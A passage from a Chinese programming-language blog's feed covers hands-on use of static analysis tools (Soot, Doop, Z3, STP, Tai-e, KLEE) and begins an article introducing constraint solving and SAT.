class="name">groupId</span>&gt;</span>ca.mcgill.sable<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>soot<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>4.1.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br></pre></td></tr></table></figure><p>因为目前我的目的只是简单的使用 soot，所以对于程序中 soot 的使用在后面学习了相关 api 再来更新。</p><h2 id="3-命令行中-soot-的使用">3.命令行中 soot 的使用</h2><p>我的目标是将 java 转化为 Jimple 以发现程序编译中的问题和规律。因此本文的重点就在这里，我先在 soot.jar 所在的文件夹下新建了一个 java 文件 HelloWorld.java 如下图所示：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//HelloWorld.java</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloWorld</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因为我使用的 Java 版本是 JDK1.8，根据 soot 提示，默认输入是 class 文件，所以我先用 javac 命令将 HelloWorld.java 编译为 HelloWorld.class。</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">javac </span>HelloWorld.<span class="keyword">java</span></span><br></pre></td></tr></table></figure><p>下面我们尝试将上面得到的 class 文件作为输入传给 soot.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -<span class="built_in">cp</span> sootclasses-trunk-jar-with-dependencies.jar soot.Main -pp -<span class="built_in">cp</span> .  HelloWorld</span><br></pre></td></tr></table></figure><p>得到的结果没有报错，但是也无事发生，这是因为 soot 需要通过-f 属性指定输出的类型，这里我们将输出类型指定为 Jimple，查询文档之后得知要添加-f J 以确定输出格式，最终的语句如下：</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">java </span>-cp sootclasses-trunk-<span class="keyword">jar-with-dependencies.jar </span>soot.Main -f <span class="keyword">J </span>-pp -cp .  HelloWorld</span><br></pre></td></tr></table></figure><p>该命令在 jar 文件所在目录下生成了一个 sootOutput 文件夹，里面有一个 HelloWorld.jimple 文件，使用 Idea 编辑器打开这个文件，得到的内容如下，这就是一个最基本的 HelloWorld.java 文件所形成的 jimple 码。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloWorld</span> <span class="keyword">extends</span> <span class="title class_">java</span>.lang.Object</span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> &lt;init&gt;()</span><br><span class="line">    &#123;</span><br><span class="line">        HelloWorld r0;</span><br><span class="line"></span><br><span class="line">        r0 := <span class="meta">@this</span>;</span><br><span class="line"></span><br><span class="line">        specialinvoke r0.&lt;init&gt;();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(java.lang.String[])</span></span><br><span class="line">    &#123;</span><br><span class="line">        java.io.PrintStream $r0;</span><br><span class="line">        java.lang.String[] r1;</span><br><span class="line"></span><br><span class="line">        r1 := <span class="meta">@parameter0</span>;</span><br><span class="line"></span><br><span class="line">        $r0 = java.lang.System.out;</span><br><span class="line"></span><br><span class="line">        $r0.println(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="3-soot-命令行相关参数设置">3.soot 命令行相关参数设置</h2><p><a href="https://soot-build.cs.uni-paderborn.de/public/origin/develop/soot/soot-develop/options/soot_options.htm">soot/wiki</a>里的命令表格写的十分清楚和明确，这里我就直接搬运过来，方便以后查阅。</p><h1>二、Soot 生成控制流图</h1><p>如果是将 Soot 当作简单工具来分析的人，可以直接使用 Soot 自带的工具 soot.tools.CFGViewer 分析类中的每个方法的控制流并生成 DOT 语言描述的控制流图，然后用 graphviz 中的 dot 命令来转换成可视化图形格式如.PNG</p><h2 id="1、使用-soot-tools-CFGViewer-来生成-Triangle-class-的控制流图">1、使用 soot.tools.CFGViewer 来生成 Triangle.class 的控制流图</h2><p>新建文件 <code>Test.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Test</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">double</span> <span class="variable">num</span> <span class="operator">=</span> <span class="number">5.0</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">double</span> <span class="title function_">cal</span><span class="params">(<span class="type">int</span> num, String type)</span>&#123;</span><br><span class="line">        <span class="type">double</span> temp=<span class="number">0</span>;</span><br><span class="line">        <span class="keyword">if</span>(type == <span class="string">&quot;sum&quot;</span>)&#123;</span><br><span class="line">            <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt;= num; i++)&#123;</span><br><span class="line">                temp =temp + i;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span>(type == <span class="string">&quot;average&quot;</span>)&#123;</span><br><span class="line">            <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt;= num; i++)&#123;</span><br><span class="line">                temp = temp + i;</span><br><span class="line">            &#125;</span><br><span class="line">            temp = temp / (num -<span class="number">1</span>);</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Please enter the right type(sum or average)&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> temp;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后编译和运行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javac Test.java &amp;&amp; java -cp sootclasses-trunk-jar-with-dependencies.jar soot.tools.CFGViewer -pp -cp . Test</span><br></pre></td></tr></table></figure><p>生成了 Test.dot 文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dot -Tpng -o Test.png sootOutput/Test\ double\ cal\(int,java.lang.String\).dot</span><br></pre></td></tr></table></figure><p>生成了 png 文件。</p><p><a href="https://img2020.cnblogs.com/blog/2111975/202103/2111975-20210310151005317-1991410460.png"><img src="http://cdn.blog-blockchain.xyz/202211131855193.png" alt="pic2"></a></p></blockquote><p>关于 Soot 的详细说明，可以看<a href="https://jckling.github.io/">Jckling’s Blog</a> 的《<a href="https://jckling.github.io/2022/02/23/Other/Soot%20%E4%BD%BF%E7%94%A8%E8%AE%B0%E5%BD%95/">Soot 使用记录</a>》和《<a href="https://www.cnblogs.com/xine/p/14533697.html">利用 Soot 对 APK 插桩实践 </a>》</p><h2 id="Doop">Doop</h2><blockquote><p>学习资源：<a href="http://plast-lab.github.io/feb16-seminar/">http://plast-lab.github.io/feb16-seminar/</a></p><p>项目地址：<a href="https://bitbucket.org/yanniss/doop/src/master/">https://bitbucket.org/yanniss/doop/src/master/</a></p><p>视频讲解：<a href="https://www.bilibili.com/video/BV1yz411B7MS">https://www.bilibili.com/video/BV1yz411B7MS</a></p></blockquote><p>资料和文档都较少，建议多去 Discord 提问。</p><h3 id="介绍">介绍</h3><blockquote><p><a href="https://bitbucket.org/yanniss/doop">Doop</a> is a <strong>declarative</strong> framework for static analysis of Java programs, centered on <strong>pointer analysis</strong> algorithms. Doop provides a large variety of analyses and also the surrounding scaffolding to run an analysis end-to-end (fact generation, processing, statistics, etc.).</p><p>The declarative nature of Doop stems from its use of <strong>Datalog</strong> (more specifically, <em>LogiQL</em>, a Datalog dialect developed by <a href="http://www.logicblox.com/">LogicBlox</a>) to specify an analysis.</p><p>The building blocks of Datalog programs come in the form of <strong>predicates</strong>. Our input facts (a.k.a. EDB logic) are represented as predicate values, e.g., <code>Person(&quot;John&quot;)</code> or <code>Parent(&quot;John&quot;, &quot;Johnny jr&quot;)</code>.</p><p>Then we have <strong>rules</strong> (a.k.a. IDB logic) to infer new information from facts already known to be true. This continues until no new information can be extracted.</p></blockquote><p>如果读者不熟悉以上概念，可以翻之前的 Datalog 的文章，里面不仅有语法介绍，也有一些原理说明。</p><h3 id="安装">安装</h3><p>首先按照项目 README 的建议，自己构建 souffle 而不是直接安装二进制包，记得添加环境变量。</p><blockquote><p>The currently maintained version targets <a href="http://souffle-lang.org/">Soufflé</a>, an open-source Datalog engine for program analysis (which is the default engine used). In order to install an up-to-date version of Soufflé, the best practice is to clone the development Github <a href="https://github.com/souffle-lang/souffle">repo</a> and follow the instructions found on <a href="https://souffle-lang.github.io/build">this page</a>. Doop is currently tested with Souffle versions 1.5.1, 2.0.2, and 2.1.</p></blockquote><h3 id="基本命令">基本命令</h3><p><code>./doop --help all</code> 全部命令如下：</p><p><img src="http://cdn.blog-blockchain.xyz/202211122334447.png" alt="image-20221112233431123"></p><p>读者可以跑一下项目里 <code>docs/doop-101-examples/Example.java </code> 的例子，先把这个打包成 <code>Example.java</code>，然后开始分析，分析的时间非常长，WSL 虚拟机 Ubuntu 跑了 40 分钟，都没有结果。</p><p>之后的内容就不介绍了，建议阅读这篇<a href="https://jckling.github.io/2021/12/17/Security/%E6%8C%87%E9%92%88%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7%20Doop%20%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97/">博客</a>，还有<a href="https://blog.csdn.net/m0_73679848/article/details/126817839?spm=1001.2101.3001.6650.2&amp;utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-2-126817839-blog-122013427.pc_relevant_3mothn_strategy_recovery&amp;depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-2-126817839-blog-122013427.pc_relevant_3mothn_strategy_recovery&amp;utm_relevant_index=3">这篇</a>，自己跑几个例子。因为真的要弄清楚各种规则，很花时间的。了解最重要的原理即可：</p><p>Doop 执行流程大致可以分为三步：</p><blockquote><ol><li>使用 soot 生成 jimple 文件，使用 <code>--generate-jimple</code> 参数可以输出 jimple 文件，在 output//database/jimple 文件夹下</li><li>将 jimple 文件转换为 datalog 引擎的输入事实（.facts）</li><li>使用 souffle 引擎执行选定的分析，将关系输出为 .csv，即分析结果</li></ol><p>Doop 分析字节码（或 Android 的 Dex 代码），两者都被转换为名为 Jimple 的中间表示（Intermediate Representation, IR），实际分析的就是 jimple；因为字节码是基于堆栈的，但指针分析中需要变量/局部变量来分析指向，所以使用 Soot 将基于堆栈的字节码转换为具有局部变量的中间表示。下一步将 Jimple 中间表示转换为 .facts 文件（数据库表），然后由 Datalog 逻辑加载这些文件作为输入。Datalog 从输入开始推导事实，填充关系；一些关系使用 <code>.output</code> 标记输出，保存为 .csv 文件；当 Datalog 执行终止时，保存的 .csv 文件就是分析输出。</p><p><a href="https://s2.loli.net/2021/12/17/NP1SnQWBdwMAzJu.jpg"><img src="http://cdn.blog-blockchain.xyz/202211131240693.jpeg" alt="img"></a></p><p>来自：<a href="https://jckling.github.io/2021/12/17/Security/%E6%8C%87%E9%92%88%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7%20Doop%20%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97/">博客</a></p></blockquote><h2 id="Z3">Z3</h2><blockquote><ul><li>安装教程和 GitHub：<a href="https://github.com/Z3Prover/z3">https://github.com/Z3Prover/z3</a></li><li>非常棒的 wiki：<a href="https://github.com/Z3Prover/z3/wiki">https://github.com/Z3Prover/z3/wiki</a></li><li>教程：<a href="https://github.com/Z3Prover/z3/tree/master/examples/python/tutorial/jupyter">https://github.com/Z3Prover/z3/tree/master/examples/python/tutorial/jupyter</a></li><li><a href="https://z3prover.github.io/api/html/namespacez3py.html">Python API</a> (also available in <a href="https://z3prover.github.io/api/html/z3.html">pydoc format</a>)</li><li>python binding 教程：<a href="https://github.com/philzook58/z3_tutorial/blob/master/Z3%20Tutorial.ipynb">https://github.com/philzook58/z3_tutorial/blob/master/Z3 Tutorial.ipynb</a></li></ul></blockquote><p>由于时间限制，就不详细介绍 API 了，读者有需求或者感兴趣，可以自己读文档。以后有需要我在学习如何应用到实际科研场景。</p><h2 id="STP">STP</h2><blockquote><p>GitHub：<a href="https://github.com/stp/stp">https://github.com/stp/stp</a></p><p>Doc：<a href="https://stp.readthedocs.io/en/latest/">https://stp.readthedocs.io/en/latest/</a></p></blockquote><p>一个把问题编码成 SAT 的求解器。安装之后遇到坑，请看 Issue，基本能够解决。python binding 的用法直接看 build 里 python 的源码即可，内容很少。</p><h2 id="Tai-e">Tai-e</h2><blockquote><p>软文介绍：<a href="https://zhuanlan.zhihu.com/p/547780818">https://zhuanlan.zhihu.com/p/547780818</a></p><p>发布说明：<a href="https://zhuanlan.zhihu.com/p/488957195">https://zhuanlan.zhihu.com/p/488957195</a></p><p>论文：<a href="https://arxiv.org/abs/2208.00337">https://arxiv.org/abs/2208.00337</a></p><p>代码实现：<a href="https://github.com/pascal-lab/Tai-e">https://github.com/pascal-lab/Tai-e</a></p></blockquote><p>首先可以看设计者的演讲视频【<a href="https://www.bilibili.com/video/BV1gP4y1d7Jt/?share_source=copy_web&amp;vd_source=a539892bc04ba3c567a4eb2db82e002c">静态程序分析框架“太阿”的设计之道_李樾老师</a>】，下面是通用性的程序分析框架的架构图，个人觉得参考意义很大。我们接下来会尝试去完成课程的作业。</p><img src="http://cdn.blog-blockchain.xyz/202212081532081.png" alt="image-20221208153247730" style="zoom: 67%;" /><blockquote><p>后续有时间会基于它，完成一些作业。</p></blockquote><h2 id="KLEE">KLEE</h2><p>C 语言的符号执行工具。</p><blockquote><p>GitHub：<a href="https://github.com/klee/klee/tree/master">https://github.com/klee/klee/tree/master</a></p><p>主页和教程：<a href="http://klee.github.io/getting-started/">http://klee.github.io/getting-started/</a></p></blockquote><p>建议<a href="http://klee.github.io/build-llvm11/">手动编译安装</a>，多踩踩坑，熟悉工具链，这样才能熟悉基本流程。安装完之后按照官方的教程跑一跑就可以了。利用好主页的资源，邮件列表里别人的讨论和问题很实用。</p><h2 id="总结">总结</h2><p>最近看静态分析的工具，基本流程都是生成中间表示(IR)，简化源码或者操作码，中间还可能有静态单赋值或者 def-use 的优化。然后就分成两种方式了。</p><p>一种是直接是一些软件分析的算法，写死了，事先提供的。这样的算法会提供控制流、指针分析这些信息。另外一种是基于 Datalog，首先用 C++或者 python 等语言生成 facts，这些 facts 是程序的各种信息。然后再根据预定的 Datalog 逻辑还有选项，生成这个程序需要的 Datalog 代码，然后由 Datalog 引擎编译 Datalog 代码，生成 C++ 代码，然后开始执行各种程序分析算法。</p><p>前者的方式就像 slither 的 detector 规则，一般简单的情况就够用了，拓展性不好。后者的方式，是往往基于前者提取的信息，比如 slither 就只完成了第一步。后者可以具备可拓展性，可以自己添加额外的 datalog 代码，自定义一些分析。为什么用 datalog 呢，因为代码量会小很多，而且自己写 C++ 不一定有引擎生成的高效。</p><p>提高分析精度的方式，我看到有采用多种中间表示（IR）的，不同 IR 有一些侧重点，然后综合起来。</p><p>**读者如果感兴趣，不妨自己学习理论知识，然后折腾玩一玩。**如果遇到困难，不妨在博客下方留言。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/pl/static-analysis-tools/</id>
    <link href="https://www.blog-blockchain.xyz/pl/static-analysis-tools/"/>
    <published>2022-12-23T03:16:30.000Z</published>
    <summary>实际体验常用的静态程序分析工具和框架，包括 Soot、Doop、Z3、STP、Tai-e 和 KLEE 等，介绍它们的安装配置、基本使用和应用场景，帮助读者了解静态分析工具的实际应用。</summary>
    <title>（九）体验静态分析工具</title>
    <updated>2026-02-19T16:18:01.141Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/categories/program-language/"/>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/tags/program-language/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/pl/understanding-program-analysis/" title="（一）初识软件分析">（一）初识软件分析</a></li><li><a href="/pl/data-flow-analysis/" title="（二）数据流分析基础">（二）数据流分析基础</a></li><li><a href="/pl/LP-souffle/" title="（三）Datalog和程序分析">（三）Datalog和程序分析</a></li><li><a href="/pl/ssa-and-sparse-analysis/" title="（四）静态单赋值和稀疏分析">（四）静态单赋值和稀疏分析</a></li><li><a href="/pl/Interprocedural-DFA/" title="（五）过程间分析">（五）过程间分析</a></li><li><a href="/pl/points-to-analysis/" title="（六）指向分析">（六）指向分析</a></li><li><a href="/pl/abstract-interpretation/" title="（七）抽象解释">（七）抽象解释</a></li><li><a href="/pl/smt-and-symbolic-execution/" title="（八）SMT和符号执行">（八）SMT和符号执行</a></li><li><a href="/pl/static-analysis-tools/" title="（九）体验静态分析工具">（九）体验静态分析工具</a></li><li><a href="/pl/fuzzing-introduction/" title="（十）Fuzzing 基础">（十）Fuzzing 基础</a></li></ol></blockquote><h2 id="前言">前言</h2><p>我们程序分析的学习进入了下一个阶段。在第一篇文章中提到程序分析可以大体分成<strong>抽象和搜索</strong>两部分，之前都是学习了抽象的部分。我们从<strong>数据流分析</strong>开始，讨论了抽象的基本思想，分支（包括循环）如何合并，节点如何更新等知识。从理论层面，探讨了数据流分析的的抽象和转换函数必须满足的条件以及数据流分析的性质，因此我们介绍了格理论。特别地，详细介绍了 widening 和 narrowing 的方法。<strong>在这一部分，我们建立了对于抽象的方法的基本认识</strong>。</p><p>然后，我们学习的 <code>Datalog</code> ，从基本数理逻辑出发介绍了逻辑式编程语言，接着介绍了典型的 Souffle 语言和它在程序分析上的应用。</p><p>在数据流分析中有几种很典型的方法<strong>Def-use</strong> 和 <strong>SSA</strong>，Def-use 主要简化了节点更新时关注的值，缩小了范围。进一步学习了静态单赋值(SSA)的方法，<strong>每个变量只赋值一次</strong>。但是分支会造成变量赋值不一致的情况，所以加入和交汇函数。为了优化交汇函数，确定什么时候需要在某个基本块引入交汇函数，我们又学习了「支配」「支配边界」的概念以解决这个问题。最后，讨论了无法完全转换成 SSA 时，可以采用部分 SSA 的方法。</p><p>具备了单个程序的过程内分析的基础后，我们开始学习过程间分析的基本原理，将过程间分析转换成<strong>过程内分析的衔接</strong>。特别的，我们以函数调用作为例子，考虑了全局变量和过程间分析导致的精度损失的问题。为了避免函数调用时错误的节点更新操作，我们学习了<strong>基于克隆的上下文敏感性分析</strong>，并且特别讨论了递归函数如何处理以及不同的上下文类型的处理方式。我们将程序分析转换成图的形式，引入了<strong>括号匹配的 CFL-reachability 的精确上下文敏感分析</strong>。最后，简要学习了加快过程间分析速度的两种方式<strong>函数摘要</strong>和<strong>动态规划</strong>，额外介绍了函数嵌套情况下的合并方式。</p><p>指针分析是非常重要的一块内容，我们首先学习了程序分析中的各种敏感性，包括流敏感（flow-sensitive）、路径敏感（path-sensitive）、上下文敏感（context-sensitive）、域敏感（field-sensitive），为后面的进一步学习打下基础。接着学习了<strong>流非敏感的指向分析</strong>和<strong>流敏感指向分析</strong>，他们对于指针操作的转换函数不同，但是思路是基本一致的。指针分析中有两个很重要的算法，<strong>Anderson 算法</strong>和 <strong>Steensgaard 算法</strong>，希望读者可以掌握它们的思路和规则。基于 <strong><code>get-put</code> 的 CFL-reachability 的指向分析</strong>支持域敏感分析，只要了解到有这一回事就可以了。我们探讨了指针分析的难点，它很难处理的情况以及降低敏感度的方式。最后简单介绍了指针分析和控制流分析的关系和 Class Hierarchy Analysis, Rapid Type Analysis 这两种处理方式，意识到指针分析往往是复杂综合性分析的基础。</p><p>最后，抽象解释理论是我们以上学习的方法的理论基础，虽然只是简单的学习皮毛，但是我们应该意识到<strong>不同抽象域的综合</strong>是复杂问题，但是同样是有效的增加程序分析精度的方法。文中以<strong>关系抽象域</strong>如何增加精度做了说明，特别介绍了数值分析中的八边形抽象。</p><hr><p>以上的内容都是笔者自己的学习笔记，不能说理解和认识有多么深刻，但是写出来的论述都是经过了本人的消化，整理和输出的。日后如果有时间将会在阅读完 CMU 的静态程序分析教材、南大的程序分析课程、软件理论基础之后，对内容进行进一步的补充和完善。读者如果感兴趣，可以继续关注本博客。欢迎指出错误和交流学习。让我们开始「搜索」的方式的学习吧，之后会以区块链智能合约代码分析为例，从理论到实践详细介绍符号执行的所有过程。</p><hr><p>基础的思想其实都大概涉及到了，由于笔者有论文压力了，只能需要什么学习什么，所以后期学习比较大略，没有最开始小白的时候，记录的那么细致。</p><h2 id="约束求解简介">约束求解简介</h2><p>搜索的策略是精确的，但是可能复杂度非常高，所以会放弃超时的路径的搜索。约束求解就是给出了一组约束，如果约束可以成立，那么久给出这么一组值；如果不可以满足，那么找到是哪一部分造成无法满足，这一部分叫做矛盾集（unsatisfiable core）。例如对于约束</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.32em;vertical-align:-1.91em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.35em;"><span style="top:-2.2em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-2.192em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-3.15em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.292em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-4.6em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.85em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">10</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">5</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">25</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>那么约束求解可以找到一组值 <code>(a,b)=(15,10)</code> 满足约束。</p><p>历史上出现了很多的约束求解器，这些求解器本质上就是让代码自己做题，去证明。当时因为大规模约束求解计算速度太慢了，但是 2000 年依赖 SAT 算法得到了极大的改进，不过知道现在似乎都还没搞清楚为啥效率就那么高的原理。</p><ul><li>SAT solver：解著名的 NP 完全问题</li><li>Linear solvers：求线性方程组</li><li>Array solvers: 求解包含数组的约束</li><li>String solver：求解字符串约束</li></ul><p>最后出现了综合性的求解工具 SMT。</p><h2 id="SAT">SAT</h2><p>先看 <a href="https://en.wikipedia.org/wiki/Boolean_satisfiability_problem">wiki</a> 的介绍：</p><blockquote><p>In <a href="https://en.wikipedia.org/wiki/Computer_science">computer science</a> and <a href="https://en.wikipedia.org/wiki/Formal_methods">formal methods</a>, a <strong>SAT solver</strong> is a <a href="https://en.wikipedia.org/wiki/Computer_program">computer program</a> which aims to solve the <a href="https://en.wikipedia.org/wiki/Boolean_satisfiability_problem">Boolean satisfiability problem</a>. On input a formula over <a href="https://en.wikipedia.org/wiki/Boolean_data_type">Boolean</a> variables, such as “(<em>x</em> or <em>y</em>) and (<em>x</em> or not <em>y</em>)”, a SAT solver outputs whether the formula is <a href="https://en.wikipedia.org/wiki/Satisfiability">satisfiable</a>, meaning that there are possible values of <em>x</em> and <em>y</em> which make the formula true, or unsatisfiable, meaning that there are no such values of <em>x</em> and <em>y</em>. In this case, the formula is satisfiable when <em>x</em> is true, so the solver should return “satisfiable”.</p></blockquote><p>简单的说是<strong>布尔可满足性</strong>问题，也就是说对于一个逻辑公式，能否找到一组逻辑变量，使得公式为真。这里希望读者有基础的离散数学基础，将会有助于理解和学习。由于所有的命题公式可以转化成合取范式，所以我们可以给出如下的例子：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">¬</span><span class="mord mathnormal">d</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∧</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">¬</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∧</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">d</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∧</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">¬</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">¬</span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" 